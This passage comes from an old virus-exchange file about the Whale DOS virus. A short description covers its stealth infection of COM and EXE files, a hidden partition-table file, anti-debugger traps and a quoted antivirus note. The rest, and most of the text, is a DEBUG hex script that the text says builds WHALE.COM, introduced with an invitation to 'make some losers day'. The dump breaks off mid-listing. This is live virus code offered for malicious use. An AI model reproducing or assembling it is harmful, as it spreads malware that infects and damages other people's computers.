  798.        system reboot.  While this doesn't always occur, when it does occur
  799.        the Break key is disabled so that the user cannot exit unexpectedly
  800.        from the execution of the system's AutoExec.Bat file.  If the
  801.        AutoExec.Bat file contained any software which does file opens of
  802.        other executable programs, those opened executable programs will
  803.        be infected at that time if they were not previously infected.
  804.        Typically, files infected in this manner will increase by 9,216
  805.        bytes though it will not be shown in a directory listing.
  806.  
  807.        A hidden file may be found in the root directory of drive C: on
  808.        infected files.  This file is not always present, the virus will
  809.        sometimes remove it, only to recreate it again at a later time.
  810.        The name of this hidden file is FISH-#9.TBL, it contains an
  811.        image of the hard disk's partition table along with the following
  812.        message:
  813.  
  814.                "Fish Virus #9
  815.                 A Whale is no Fish!
  816.                 Mind her Mutant Fish
  817.                 and the hidden Fish Eggs
  818.                 for they are damaging.
  819.                 The sixth Fish mutates
  820.                 only if the Whale is in
  821.                 her Cave."
  822.  
  823.        After the discovery of this hidden file, the author of this
  824.        document made several attempt to have the Fish 6 Virus mutate
  825.        by introducing it and Whale into a system.  Under no circumstances
  826.        did a mutation of either virus result, the resultant files were
  827.        infected with both an identifiable Fish 6 infection and a Whale
  828.        infection.
  829.  
  830.        Whale is hostile to debuggers and contains many traps to prevent
  831.        successful decryption of the virus.  One of its "traps" is to lock
  832.        out the keyboard if it determines a debugger is in use.
  833.  
  834.  
  835.                Here's a side note by the author of F-Prot
  836.  
  837.  
  838.                                     Whale
  839.  
  840. This is a recent, rather remarkable virus.  It is long, 9216 bytes and
  841. able to infect COM and EXE files.  The increase in file size is not
  842. visible though, while the virus is active in memory, as it uses several
  843. advanced "stealth" methods.  Other effects of the virus are not known,
  844. but one infected program displayed the following message when run:
  845.  
  846.              THE WHALE IN SEARCH OF THE 8 FISH
  847.              I AM '~knzyvo}' IN HAMBURG addr error D9EB,02
  848.  
  849. Most of the virus is devoted to encryption and code which moves blocks of
  850. virus code around.  This overhead results in a considerable slowdown of
  851. infected systems.
  852.  
  853.  
  854.      And here it is.  Use your editor to copy the below machine language
  855.      script to a file called WHALE.SCR  Next use DEBUG to make it into a
  856.      COM file.  Use the command  DEBUG < WHALE.SCR   When it gets done
  857.      you'll see a file called WHALE.COM.  There it is, have fun - and
  858.      make some losers day!
  859.  
  860. ------------------------------------------------------------------------------
  861.  
  862. n whale.com
  863. e 0100  E9 C9 23 01 F5 21 E1 02 C0 00 D2 07 FF FF 99 14
  864. e 0110  00 E9 B8 23 CD 20 8D 01 BD 00 E1 02 C0 00 D2 07
  865. e 0120  FF FF 99 14 FE FF E3 8F 01 00 99 14 1E 00 00 00
  866. e 0130  26 FB 5A 26 47 48 63 33 57 6E 52 4C 63 3D FF 10
  867. e 0140  D4 06 75 EC 06 7E 17 75 25 FA 03 24 3D 8B 21 90
  868. e 0150  C3 24 67 2A 08 12 07 C4 E0 5B 08 9C 06 E1 15 66
  869. e 0160  03 7B 25 7D D4 06 4E 36 9C 08 90 C3 24 D4 06 4C
  870. e 0170  36 FF 38 D4 06 4A 36 35 02 40 C7 20 7D 25 E5 13
  871. e 0180  C7 20 48 25 26 34 C3 77 3D 8B 29 3D 8B 38 48 81
  872. e 0190  E5 5C 01 BA 1D 53 AF CD CF CF 22 02 D9 A7 29 27
  873. e 01A0  4A 2E D9 14 2E 05 24 5F D5 B7 EB 38 1D 1F CE BF
  874. e 01B0  FF CC 4B BB 11 1B 81 11 06 EF A5 D0 02 A7 24 68
  875. e 01C0  63 AD 0A 07 0C E8 A2 14 E8 5E 1A 38 38 E5 68 30
  876. e 01D0  23 BD DB 29 AA 6A 23 92 26 48 3A F5 2C 38 B3 4A
  877. e 01E0  E0 16 AE 59 1C 03 01 88 2C F6 F5 0E 92 3E 22 3A
  878. e 01F0  B1 13 33 1C B7 D8 19 BD 1F FE 0B 4E 1C 0D F6 53
  879. e 0200  0E F6 BD 2D 27 CE 28 09 1C D3 5C BE DE C0 E7 83
  880. e 0210  5D 7A 67 A1 19 CD ED C2 4F 98 C3 2C 3E B6 4E 04
  881. e 0220  D8 FE E4 6A D5 F7 C2 15 C6 AD F7 2A 21 D5 8C C2
  882. e 0230  85 E2 6F ED F5 C2 5F CE A8 F7 28 B6 D3 28 29 D1
  883. e 0240  28 A0 F3 FB CE 9A 1E CE EA 08 14 69 29 5A D9 73
  884. e 0250  B4 0F 79 72 E5 7C D9 4C 54 D5 77 F9 79 47 BC 5A
  885. e 0260  19 5F B6 47 F6 52 1A 5F 72 AE 7C 2D 4C 09 7E 81
  886. e 0270  2F 7D 6E 21 72 AF 7C DB 4C 7A B4 65 5A 6F D0 E9
  887. e 0280  01 09 EA A7 FD 73 27 FA 8B 23 9A F3 CE FB B3 2E
  888. e 0290  3D C4 52 F8 2C C0 D4 48 21 F9 FD FC 90 E0 91 CB
  889. e 02A0  2C 69 C9 EA 6C C9 EB C6 F9 3B D4 FA E0 B8 67 D7
  890. e 02B0  0A 6E C6 D1 0C 4A 39 11 C2 97 D3 C6 0A 1D DB CD
  891. e 02C0  D0 E8 59 1B 39 5E 83 3E 5C 45 F4 50 25 5C B6 55
  892. e 02D0  7A 50 74 66 59 83 17 A1 AD 7E D2 4E 78 B6 CD 7F
  893. e 02E0  FF 2E 5C D0 AB 5E 9B 7D 72 5E E5 A0 5B 7B 78 70
  894. e 02F0  6A 7E 44 6B 56 DE 55 58 5E 6B 83 B6 E0 67 64 66
  895. e 0300  2D CE 2C 08 01 E3 DE 77 E7 F0 75 E3 F1 F8 42 F6
  896. e 0310  D6 40 F2 D7 CD 51 DE E3 53 D2 E2 DE 29 D5 B5 F2
  897. e 0320  D0 30 28 27 A0 F8 42 13 F2 0B AD C9 CB CB CE 01
  898. e 0330  08 31 25 18 11 23 24 10 0B 97 F3 01 18 9B 03 22
  899. e 0340  10 0B B8 06 37 36 F8 65 29 08 3D FF 08 0B 00 76
  900. e 0350  AB 00 26 9D D8 7E 98 1E E1 15 89 38 1F 00 AA 1D
  901. e 0360  0E 26 FB 55 15 C8 89 C3 9D DB A7 75 06 D9 ED A3
  902. e 0370  22 13 8C 28 1D 00 AF 25 0C 26 FB 5B 24 FA F2 28
  903. e 0380  AD BB 8D F8 EF 89 A8 EF 8D B8 BF 99 FC AB CD B8
  904. e 0390  AB 99 F8 EF CD B8 AB DD B8 EB 99 A8 BF 8D F8 2E
  905. e 03A0  A6 1C AB C4 EA E8 F6 0D 51 A0 99 62 44 F8 A7 C8
  906. e 03B0  B9 D9 54 71 95 A7 28 E3 AD EC 60 47 B0 E1 96 71
  907. e 03C0  95 B7 21 DA DF 71 32 CD 99 8A CE 6F CB 92 10 8B
  908. e 03D0  FE FA E8 26 13 5B A5 F8 72 75 9C 06 22 13 0E A9
  909. e 03E0  15 06 26 1D 58 2B 55 F3 76 8E D7 AC EB 01 ED FA
  910. e 03F0  BF 3A 98 07 AD 0B 33 E6 9D D8 CD FB 45 21 30 B8
  911. e 0400  CD 20 64 A8 20 E7 98 85 31 80 18 9C C5 FE 31 7B
  912. e 0410  43 8B 98 43 CD 9F 43 4E 9E 43 03 9E 43 A5 9F 43
  913. e 0420  DF 80 8F E8 3B 14 5A CB 16 FC CA D0 2A CD 66 C8
  914. e 0430  B0 FD 56 FE FD 54 C4 FE C3 F3 D9 99 FE 7D 2E C8
  915. e 0440  1C 1B 22 C8 ED C4 67 EB DA 0A E9 D9 0A E9 DF 1E
  916. e 0450  EB EA 34 EB E8 31 E5 EC 36 EB F6 68 E4 F5 1A E4
  917. e 0460  F4 A0 F3 89 5C F0 80 B3 E7 85 8E F2 84 8E F2 9C
  918. e 0470  F1 F0 88 D0 12 FC D0 62 CD 66 C8 23 C2 ED 23 F6
  919. e 0480  F3 90 3D FF 00 8B 25 70 FA 90 3B FA 65 3B 50 41
  920. e 0490  17 1C 39 29 64 E8 8D 15 1B 7A A7 B2 7A A7 33 7A
  921. e 04A0  A7 68 7A C6 B9 54 B0 6A C9 6B D3 3C 49 01 92 9A
  922. e 04B0  59 92 9A 41 66 DC D7 1A EC 75 CE 95 06 34 6D 50
  923. e 04C0  D7 6B 94 7C 6A 61 07 33 24 01 36 26 C5 85 C7 45
  924. e 04D0  7E 2E D9 35 EA 02 E5 E8 4F 15 28 44 5F EB 62 26
  925. e 04E0  47 6A FD 74 1D 54 6C 53 5F E9 62 2A 47 6A 99 AB
  926. e 04F0  BB 5F EC 52 28 47 6A F8 44 1F 54 4C CF 57 35 61
  927. e 0500  99 E4 59 58 C3 98 BC 34 28 48 53 7C 41 8F 20 FB
  928. e 0510  31 20 0F 26 BE 7E 02 2E F1 18 35 11 28 1F C9 9F
  929. e 0520  05 35 8A 26 B3 23 88 71 D9 47 D7 D0 E8 6F 3B 1D
  930. e 0530  D0 33 E7 50 26 2F 14 E2 DE 98 D9 CE FB 04 20 01
  931. e 0540  45 4D D9 43 89 72 D9 33 05 14 31 00 12 7D 50 AD
  932. e 0550  54 4B 56 08 EC 26 CC 37 E8 CE 16 0E B2 37 95 BC
  933. e 0560  98 2E 74 A6 7C B7 87 7C AD 9A 9B E5 FB D4 23 0A
  934. e 0570  58 78 18 6B A5 C5 9B F4 93 89 9D 9A BB 58 C2 4F
  935. e 0580  58 C7 07 7C 10 5F 96 4B 45 64 D0 E8 93 16 28 97
  936. e 0590  8C 38 B1 F5 94 B9 2E A7 CE 87 BF 80 8C 3A B1 F9
  937. e 05A0  94 B9 4A 26 68 8C 3F 81 FB 94 B9 2B 97 CC 87 9F
  938. e 05B0  1C 84 E6 B2 4A 63 8B 8B C3 CE 94 05 3F 73 7E 10
  939. e 05C0  40 96 C8 AD 52 A2 F8 90 97 95 B1 A0 F8 7C C8 37
  940. e 05D0  62 18 6C 88 F5 6F 7A E5 4B 83 60 1B 07 A1 4D 08
  941. e 05E0  AF C9 87 78 11 81 C8 6B 04 AF E0 81 E5 FC 04 7B
  942. e 05F0  3D FF 92 62 09 7E 26 0C 24 3D 88 21 16 0C 24 DF
  943. e 0600  E9 7B 13 EB CE 2F 05 28 27 DC BC D9 1A ED 31 52
  944. e 0610  37 2D F4 FA 54 28 1D 67 03 CF 6A FE CE 37 05 06
  945. e 0620  34 CF 19 CB CF 05 31 97 01 B4 18 FE 41 21 8B 73
  946. e 0630  21 82 F7 20 2F 14 21 F1 10 D1 46 2C A7 E9 7D 3B
  947. e 0640  20 66 03 CF 4E 01 A6 7C 18 A6 92 7F 3B 13 24 55
  948. e 0650  10 E9 69 12 81 49 0E 00 02 90 5F 39 13 E9 65 12
  949. e 0660  E2 22 FA EC 22 F8 43 CF 2B 02 CE C5 04 2D 4B B0
  950. e 0670  B4 B5 BC 3E 77 18 96 5B 44 72 61 03 CF 33 01 CE
  951. e 0680  D2 04 06 67 C0 50 D7 75 5C 3C F4 BD 77 FA 91 DC
  952. e 0690  74 52 D2 74 E3 66 C2 52 D5 F4 CE 49 8B 4C 4A 50
  953. e 06A0  BA 81 6F 73 60 03 CF E5 00 CE 84 04 D7 00 1D 2A
  954. e 06B0  B4 48 8C 02 13 8F CB 16 1B FF 05 53 25 60 36 E9
  955. e 06C0  CA 35 06 0C BE D8 A7 75 B9 13 37 BA 13 35 2E EC
  956. e 06D0  23 66 36 47 03 FA 98 00 FA F5 00 50 0F 5C 55 7C
  957. e 06E0  53 5B 18 23 2A 1B 54 51 79 00 55 7C 53 5B 15 56
  958. e 06F0  5A 67 55 40 15 23 2A 15 20 52 15 57 7B 54 6C 76
  959. e 0700  15 69 60 15 6E 7C 15 46 7A 46 68 32 15 4D 7A 5B
  960. e 0710  64 33 5D 65 61 15 4D 66 41 61 7D 41 20 55 5C 73
  961. e 0720  7B 15 61 7D 51 20 67 5D 65 33 5D 69 77 51 65 7D
  962. e 0730  15 46 7A 46 68 33 70 67 74 46 20 75 5A 72 33 41
  963. e 0740  68 76 4C 20 72 47 65 33 51 61 7E 54 67 7A 5B 67
  964. e 0750  3D 15 54 7B 50 20 60 5C 78 67 5D 20 55 5C 73 7B
  965. e 0760  15 6D 66 41 61 67 50 73 33 5A 6E 7F 4C 20 7A 53
  966. e 0770  20 44 5D 61 7F 50 20 7A 46 20 7A 5B 20 7B 50 72
  967. e 0780  33 76 61 65 50 0E 0C 81 40 AA AE 00 A9 EF 05 EC
  968. e 0790  23 66 36 47 06 A7 0B FF 05 53 25 FB DE 1A E1 CE
  969. e 07A0  0B FD E5 FB 14 DB FA EC DA FB 97 25 02 0C C2 16
  970. e 07B0  F1 04 E0 1A 4C 3A E4 A9 E2 06 EA F7 C7 30 0D 75
  971. e 07C0  C4 9A D3 D0 54 17 A6 67 DA A6 7C 17 A6 92 6F 36
  972. e 07D0  13 24 A6 4C 12 26 F8 CB C5 3D E8 40 10 0C D2 6E
  973. e 07E0  27 59 90 D5 D9 90 D7 3A 78 EE DF 66 1B CD 07 E8
  974. e 07F0  CE 43 03 2A CA 50 2C 41 9E F3 C0 9E DF 22 50 E5
  975. e 0800  C7 75 23 FB 74 2C 60 4D CF 93 FC CF 50 03 AF 45
  976. e 0810  02 AF 5D 04 CD F7 21 2A 11 E6 07 20 DB 75 AE 20
  977. e 0820  26 0C 89 CF FB 00 26 48 53 7C 1D 58 23 03 00 27
  978. e 0830  D0 33 F5 92 EE AE E8 E8 BE E8 E9 E0 16 EB CF B1
  979. e 0840  06 A1 C0 89 38 17 00 2D DA 74 E6 5A E9 75 13 B9
  980. e 0850  3A 13 53 71 FB E8 CD 11 1E 50 8D 2B AC 8D AA AC
  981. e 0860  4B 89 46 03 53 D9 2B 8E D9 23 8A 4E 37 9E EB 67
  982. e 0870  F5 2F 71 77 B8 77 6C 4F 67 7C CE D5 02 3E A5 3D
  983. e 0880  97 A6 F1 92 F6 3D CF A1 37 63 ED E5 11 56 FF D6
  984. e 0890  A4 6E CB 4D 45 89 BC 74 7B 90 C4 22 FA 04 D9 01
  985. e 08A0  EB B7 9A 16 22 13 8B 38 1F 00 C2 12 0B EF 67 10
  986. e 08B0  1E CA 72 2A 94 DA AF 05 04 26 22 C2 C4 F1 74 2D
  987. e 08C0  92 C6 5E 17 E8 2D E8 E9 8E 1A EA CF 90 02 08 D5
  988. e 08D0  84 6F 19 E8 2D DA 74 D5 9A 1E 2A 13 33 F5 9A 16
  989. e 08E0  22 13 31 F6 B0 0C 26 FA 16 DB 92 C6 B6 27 B9 3A
  990. e 08F0  13 F3 82 20 C9 CE FB 4A 24 5A F8 84 F4 71 08 E5
  991. e 0900  FF 67 CE F8 61 5E DC 2D 4F 47 6B CF F6 C1 60 AD
  992. e 0910  CC 60 BD CE EE F7 FA 68 2A DE CE 08 21 62 AD CC
  993. e 0920  62 BD CE C6 04 FD 68 22 DE 62 AD FD 62 BD FF 52
  994. e 0930  E4 DE 2C BD D0 EA F8 6A CC 71 24 C5 07 C8 8D DD
  995. e 0940  36 AD E1 94 FA 5C D8 28 DE 52 C6 C3 75 90 C6 33
  996. e 0950  A8 7D 33 FB F1 D9 90 C6 24 A8 8B 53 FB E8 D9 90
  997. e 0960  C6 24 A8 81 26 FB DF D9 90 C6 2E A8 08 2C FB D6
  998. e 0970  D9 90 C6 24 A8 2F 16 FB CD D9 90 C6 24 A8 A5 24
  999. e 0980  FB C4 D9 90 C6 78 A8 7D 33 FB BB D9 90 C6 23 A8
  1000. e 0990  9F 86 FB B2 D9 90 C6 2C A8 A7 26 FB A9 D9 90 C6
  1001. e 09A0  2A A8 2D A1 FB A0 D9 90 C6 24 A8 29 5E FB 97 D9
  1002. e 09B0  90 C6 24 A8 29 64 FB 8E D9 90 C6 24 A8 C0 3C FB
  1003. e 09C0  85 D9 90 C6 4A A8 14 37 FB 7C D9 90 C6 29 A8 00
  1004. e 09D0  26 FB 73 D9 90 C6 2D A8 E3 24 FB 6A D9 48 C3 CE
  1005. e 09E0  72 01 0A BA A7 88 05 1C AB 03 8C 8F 33 7F 7C 1E
  1006. e 09F0  B7 DD B4 B6 3B B5 13 3A 9E 87 70 AC CF AA 0E B9
  1007. e 0A00  A1 45 BF E9 9F 5F 89 76 8D 0F E4 B6 67 C0 B1 A2
  1008. e 0A10  67 70 08 D7 1E E3 37 E8 0F 12 27 26 9F C0 A7 F8
  1009. e 0A20  00 02 0E 00 26 20 D2 08 98 0E E5 37 49 27 D8 15
  1010. e 0A30  26 13 41 D1 E2 89 62 30 92 B5 E4 F1 AF 57 21 CE
  1011. e 0A40  54 18 0E FA 5D DB FB FA 26 26 52 9C AF A8 90 60
  1012. e 0A50  5E 76 A7 73 C4 43 BA 14 BA DE BC CD 93 4F 80 26
  1013. e 0A60  6C 6F DE 72 D5 77 5A C8 4C E6 64 5C 6B A9 52 74
  1014. e 0A70  1B D1 B6 50 E2 76 A9 A1 8E A9 6C 8E A9 58 6C 77
  1015. e 0A80  C3 E9 FA 06 DC FB E8 9C 13 1A B6 6B 3E 4C 67 B1
  1016. e 0A90  92 7E 76 97 AD 55 A0 11 B5 06 81 78 78 79 78 AF
  1017. e 0AA0  79 78 53 94 8B E5 FB 80 2E FB 17 2E 61 43 08 93
  1018. e 0AB0  3E 84 37 00 52 28 E8 DE 02 83 DD EC 74 15 FB 82
  1019. e 0AC0  26 37 84 8C 69 8A 00 B3 8A A5 2E 90 A2 28 D6 86
  1020. e 0AD0  A4 44 50 38 AA 03 34 A0 84 1E C1 5C B1 0D FF B1
  1021. e 0AE0  0D FC 6B 6C 01 80 A1 08 93 26 95 37 FE CF A0 FC
  1022. e 0AF0  CE FA 97 DF FB 4C 26 00 D5 FD C1 3D D8 CE 6C E7
  1023. e 0B00  C6 FB 52 65 F1 4C 94 F1 1B B8 C2 E7 E1 AF 53 04
  1024. e 0B10  26 1D 4E 26 53 E5 26 E1 56 FE 26 13 E8 05 17 2E
  1025. e 0B20  D8 15 A2 02 F8 C1 9D FA 61 DF 2E E8 33 13 0F 7E
  1026. e 0B30  FF 77 78 65 A7 68 2D 7D 78 54 5F 96 00 4F 6E D0
  1027. e 0B40  E9 34 10 3D F3 05 74 DE 3E EF 34 5D FE E1 FA 99
  1028. e 0B50  DB 98 D5 AF F6 BB 75 D0 53 EA AD 01 9D 19 C0 52
  1029. e 0B60  10 E9 BE 11 E8 FA EC 4D 74 5F 00 5A CD 54 52 65
  1030. e 0B70  7C FD 5F 76 50 6F 97 42 65 76 CD 4F 52 CB B0 76
  1031. e 0B80  7A 46 A1 D0 1F 4D CD 11 52 CB 46 77 87 E5 E9 8B
  1032. e 0B90  BE BA 52 B8 0F 5A CE 54 92 65 7C FB 47 BA 50 6F
  1033. e 0BA0  DD 72 F2 76 7A F9 53 3F 46 CE CF B0 76 5A BE 4C
  1034. e 0BB0  41 65 BA A0 57 1C 55 31 2E A5 1D B3 02 12 2E D9
  1035. e 0BC0  25 B3 02 3D FF 10 FB 24 08 EC 36 C0 37 55 08 D7
  1036. e 0BD0  1E 02 37 89 C3 FA BD DE 9A 04 CE 75 FF 02 29 D2
  1037. e 0BE0  5B 2E 34 1B 90 2E 1C 96 68 38 07 9B BF 0D C8 B3
  1038. e 0BF0  5C 37 3A EE 7F E2 29 3A 32 D7 3C BE 0D D1 F7 C1
  1039. e 0C00  BD 0A 0C 2E E3 25 03 03 90 FE 27 66 40 CE 20 FF
  1040. e 0C10  11 01 99 22 1B 12 B7 C3 02 80 50 3C CB 17 74 11
  1041. e 0C20  02 C1 1A 88 04 31 24 ED 02 19 12 1A 8E 14 37 24
  1042. e 0C30  11 2A 13 12 B7 C2 02 1A 88 0C 35 24 ED 02 15 12
  1043. e 0C40  1A 8E 14 CB 25 FA 75 17 2A CF 00 01 2F FA D8 26
  1044. e 0C50  FB F0 D8 D7 30 FE C7 C8 FF 24 30 38 11 37 55 C1
  1045. e 0C60  CA D5 11 F0 AD 02 30 AF 59 30 FE CD CF AD 50 31
  1046. e 0C70  AF 29 30 FE C6 CF AD 70 32 AF 3F 30 FE FF CF AD
  1047. e 0C80  73 35 AF 29 30 FE F0 CF AD 26 37 AF 63 30 FE E9
  1048. e 0C90  CF AD B3 37 AF 75 30 FE E2 CF AD 13 3A AF 07 30
  1049. e 0CA0  FE 9B CF AD 29 3C AF 2D 30 FE 8C CF AD E7 3C AF
  1050. e 0CB0  1F 30 FE 85 CF AD 79 20 AF 0E 30 FE BE CF AD 25
  1051. e 0CC0  21 AF 0A 30 FE B7 CF AD 29 11 AF 44 30 FE A8 CF
  1052. e 0CD0  AD 50 11 AF FB 30 FE A1 CF AD 4F 13 AF 1A 30 FE
  1053. e 0CE0  5A CF AD 5E 2D AF 06 30 FE 53 CF AD 5F 2C AF 61
  1054. e 0CF0  30 FE 44 CF 2A C3 44 0C 0D F7 10 BB 15 E2 D7 8B
  1055. e 0D00  8E 06 AC 18 70 03 D6 AD E8 D1 25 36 16 DC CF FE
  1056. e 0D10  FE 26 FE 86 C7 FE 52 25 D3 D0 5B A7 D0 78 24 41
  1057. e 0D20  83 CB 11 FF C3 FA DB 26 FB 18 D8 0B 90 3D 87 93
  1058. e 0D30  F2 81 C3 3D DF 94 37 70 D8 E5 02 63 FF C5 91 6E
  1059. e 0D40  D8 78 F3 96 89 52 7B 0E 39 A9 07 03 FB 74 23 FB
  1060. e 0D50  5F 29 3D FE 20 FC 24 CE FB 01 08 ED 0E C9 37 E8
  1061. e 0D60  C7 EE 46 FC 7D 8B D2 36 CC 9A EC 32 E1 31 32 62
  1062. e 0D70  3E 32 9F 3E 54 27 47 19 D2 36 EC 4F ED F4 03 FF
  1063. e 0D80  32 D8 E7 25 CA 2F FE 73 CF D0 FC 46 DC F0 C9 C4
  1064. e 0D90  4C EB 1F EA C3 DA 14 1A 2D E3 54 82 D2 42 FC 03
  1065. e 0DA0  ED F4 72 DF DB D9 21 3A E8 8E 2E D9 3D 03 03 FB
  1066. e 0DB0  91 DB 0D 4C E1 03 4D E1 DF 07 B6 D6 48 E1 DF 01
  1067. e 0DC0  B6 D6 08 68 D4 CC 25 83 C5 2E 5B A4 68 4E A4 D2
  1068. e 0DD0  4B 53 CD 98 2E E0 97 10 34 FA 5D 9F 17 00 AA C8
  1069. e 0DE0  09 CD 9D DB F7 F0 E2 DA 9A C8 9F 0F 00 24 34 43
  1070. e 0DF0  C4 E8 50 AD 1C 0E 7E C3 EF CF 0E 04 1A 12 74 36
  1071. e 0E00  FA 88 D0 12 CB A7 E8 34 0E 61 F8 A7 E2 21 07 B2
  1072. e 0E10  E8 16 EE 28 26 3D 83 28 A0 24 27 3D 8C 20 35 24
  1073. e 0E20  08 9A 1E 02 37 E8 B4 E5 2E D9 05 66 03 FB 0C D1
  1074. e 0E30  3D C4 38 37 24 00 D6 77 34 FB 4D 32 3A 73 25 FA
  1075. e 0E40  9E 26 3D 80 00 A0 24 D8 90 FE 27 67 41 CE E0 FC
  1076. e 0E50  3E 13 8B 22 10 44 24 40 8B 7A 17 81 D5 5B 53 A7
  1077. e 0E60  E0 49 60 12 D8 7D FB 20 32 0A 75 71 FB D4 DA 08
  1078. e 0E70  00 AD 4F 01 AD 93 4B FA 9A 04 AD 93 4D FA 9A 44
  1079. e 0E80  24 98 80 69 CF 89 62 17 E8 D8 00 1C CD 26 E8 94
  1080. e 0E90  EF 30 26 98 16 3C 13 E8 A9 17 2E AD 1D A3 02 90
  1081. e 0EA0  C1 36 12 CA 00 9A 57 32 B2 18 26 35 89 61 01 A1
  1082. e 0EB0  34 13 03 E7 35 89 61 03 A1 32 13 26 AF 54 0E CE
  1083. e 0EC0  D4 13 17 FB 7D DA 0B 00 CE 4D 04 08 9D 1E 85 37
  1084. e 0ED0  8B 60 11 A3 2C 13 8B 60 17 A3 2A 13 E8 8C 00 19
  1085. e 0EE0  CF D3 F8 08 9F 0E 1C 11 2E AA 05 3C 24 3D 89 00
  1086. e 0EF0  2D 02 08 D5 06 1F 11 01 38 4B E8 60 EF 37 B6 6B
  1087. e 0F00  AA 40 37 BA 98 7C 86 D0 A6 11 4F 4B 97 C5 88 11
  1088. e 0F10  4F 44 97 C3 88 10 48 87 E2 B0 AD 56 B0 59 B4 B7
  1089. e 0F20  AD 10 88 59 B4 B6 F7 97 5E 0C 65 EE 6A 93 B6 6B
  1090. e 0F30  18 43 6B C4 A5 BB 2E A6 2D DA 02 13 74 25 FA 20
  1091. e 0F40  27 D0 E8 D8 E8 27 96 8D 76 90 A2 B0 7F 8D 76 90
  1092. e 0F50  A1 B0 2E 8D 76 90 A0 B0 B5 4B 62 87 4B 9D 97 65
  1093. e 0F60  B6 B6 A3 B1 17 9D B0 B2 EE EA 7E BF A3 BE 67 0E
  1094. e 0F70  A7 2D 00 02 49 4D 52 15 FE 28 33 00 52 68 E8 E4
  1095. e 0F80  E8 10 44 D0 66 60 A0 83 B3 90 67 44 73 5B B4 99
  1096. e 0F90  95 56 60 72 47 B2 0A 02 18 06 2A 37 74 7E FB A2
  1097. e 0FA0  DD 01 2C 81 29 87 2E 86 2C 08 9E 85 2E C8 DD 01
  1098. e 0FB0  ED C4 DF 2D 3F 52 12 40 AF 05 02 02 B0 04 02 90
  1099. e 0FC0  3E 32 37 01 53 17 E9 BE 13 E8 CE 3E FF CE 60 FB
  1100. e 0FD0  07 50 84 63 44 67 64 50 C8 A3 7B 45 6D 74 E0 73
  1101. e 0FE0  74 C0 63 54 67 77 97 45 75 74 BD 9A F3 4D 41 B8
  1102. e 0FF0  D4 77 72 E8 2F 12 E9 4E 13 81 D8 13 0F 55 71 E8
  1103. e 1000  67 E8 22 D2 46 F4 F6 44 F0 D2 E6 36 73 E5 D0 71
  1104. e 1010  E1 F4 D3 25 55 D6 C3 57 DA E7 C1 9A B4 C1 9B A1
  1105. e 1020  F5 10 0F 90 C0 C4 74 1F B2 F2 02 37 04 53 21 E8
  1106. e 1030  EE ED E8 28 E8 27 E3 67 2C 5B C6 C5 6B D8 C5 C7
  1107. e 1040  21 23 E6 6F E6 40 D7 E1 42 D6 E1 E0 D0 C7 C7 21
  1108. e 1050  1D D6 9F 83 D6 9E 96 40 D2 E1 0B FA D7 CB FB 9E
  1109. e 1060  26 FB DF DC 36 E0 72 CD CE 39 E5 86 E3 DD 6B C8
  1110. e 1070  01 C4 7E F2 A3 E8 78 F6 32 D7 CE 48 ED 16 E2 DD
  1111. e 1080  1F D0 95 C5 2E B5 F1 2E 0C F1 E0 D0 E8 92 E9 6D
  1112. e 1090  74 4F EA 74 16 4D 5A BE 44 12 64 DB 7A 68 76 CC
  1113. e 10A0  41 10 FD 57 79 50 72 9B 47 93 7C 8B 57 34 51 F5
  1114. e 10B0  6D CE 41 76 C5 5D 7C 8B 57 34 51 72 9B CC 41 10
  1115. e 10C0  47 93 7C 8B 57 34 51 F0 4E C0 7E E8 70 41 7C 8B
  1116. e 10D0  57 34 51 72 9B CC 43 10 FF 90 7C 8B 57 34 51 C8
  1117. e 10E0  44 DF 65 F1 DD 65 D9 8C 44 5D 74 C2 80 74 64 A2
  1118. e 10F0  8B 68 95 CD 51 52 83 B0 D9 84 A9 DE 65 2F C3 CE
  1119. e 1100  52 FA 40 97 B7 6B 2F 84 E0 1C 55 8C 68 92 C4 B2
  1120. e 1110  35 BE 23 C4 18 97 A0 8C 68 92 C4 B2 3C B2 97 73
  1121. e 1120  44 1C 4E 29 47 3C A2 D5 AA 5D 81 E2 87 2E 84 86
  1122. e 1130  A4 56 A3 6E 30 E2 7F 8C A0 7F 15 A2 7F AF 57 51
  1123. e 1140  82 2E B2 85 64 91 B7 86 96 D7 A4 99 83 2B A1 FD
  1124. e 1150  87 29 8E 83 51 82 EB 9D 48 64 91 94 B0 51 42 A4
  1125. e 1160  78 80 6E 7F B0 A3 7F A4 B3 F0 E8 F9 E4 BE 11 1B
  1126. e 1170  81 12 06 EF A5 D5 02 A7 27 68 63 D5 06 15 19 3D
  1127. e 1180  CE 39 13 E0 15 33 2C FA 81 12 7B 45 A5 FD 02 A7
  1128. e 1190  27 15 C9 92 C6 F5 0B E8 94 E4 E8 80 EA 2D E0 5E
  1129. e 11A0  F0 99 F0 C1 BB 3D 51 E0 5E C8 C9 F1 7E E1 82 4D
  1130. e 11B0  F6 FE E2 16 10 46 95 DE E8 60 DB 50 C5 D5 B3 E3
  1131. e 11C0  55 03 60 FB 39 F6 B3 E3 08 6B D6 CE D0 E8 55 EA
  1132. e 11D0  43 D4 09 95 27 CF 34 D2 77 D7 D4 CF 72 DA C1 F2
  1133. e 11E0  D4 94 D9 30 A1 CE CD 92 D7 FA 1F F4 42 C4 49 DE
  1134. e 11F0  E1 4B C2 E1 16 94 CF 7A D3 A2 10 2C 05 B2 FA 43
  1135. e 1200  F3 D4 05 B2 FA 43 F0 D4 05 B2 FA 43 F1 D4 09 5B
  1136. e 1210  26 09 87 C4 A5 C3 CF 8E F2 52 E8 8C FC 4B 83 E4
  1137. e 1220  03 8E FC 98 1F D1 C8 01 ED 66 0B 52 70 72 2C 60
  1138. e 1230  0B CF EE F2 CF 50 E9 68 E1 E9 4B 19 E9 82 EF E8
  1139. e 1240  27 EA 2D AA 77 79 58 B1 0C A4 09 A9 AA EB 97 99
  1140. e 1250  5F 68 EA 11 54 10 9F 88 4E DF 0A 4A 7B CC 23 5E
  1141. e 1260  0C 4F 90 38 EA B1 73 BC F9 A9 42 D2 7E 42 86 9C
  1142. e 1270  84 D0 B9 3A 13 89 F1 A0 00 CE FB C6 DE 1D A6 68
  1143. e 1280  BC 55 09 62 25 47 B8 B8 87 5D 5B 8F BA E9 7A 13
  1144. e 1290  2E E0 97 33 2C FA E9 A5 13 EA CE B5 F8 05 25 DE
  1145. e 12A0  8A D7 8D E1 06 8F 1E 25 66 A8 25 36 9E E5 6E F5
  1146. e 12B0  65 BD E0 03 C9 24 AA 31 53 C7 C2 F8 D9 C7 F8 ED
  1147. e 12C0  39 34 D0 E8 5B EB 24 A2 7F 44 50 89 83 1B C7 84
  1148. e 12D0  2B 40 37 A2 A4 44 22 EA 85 98 E2 81 28 8A 04 41
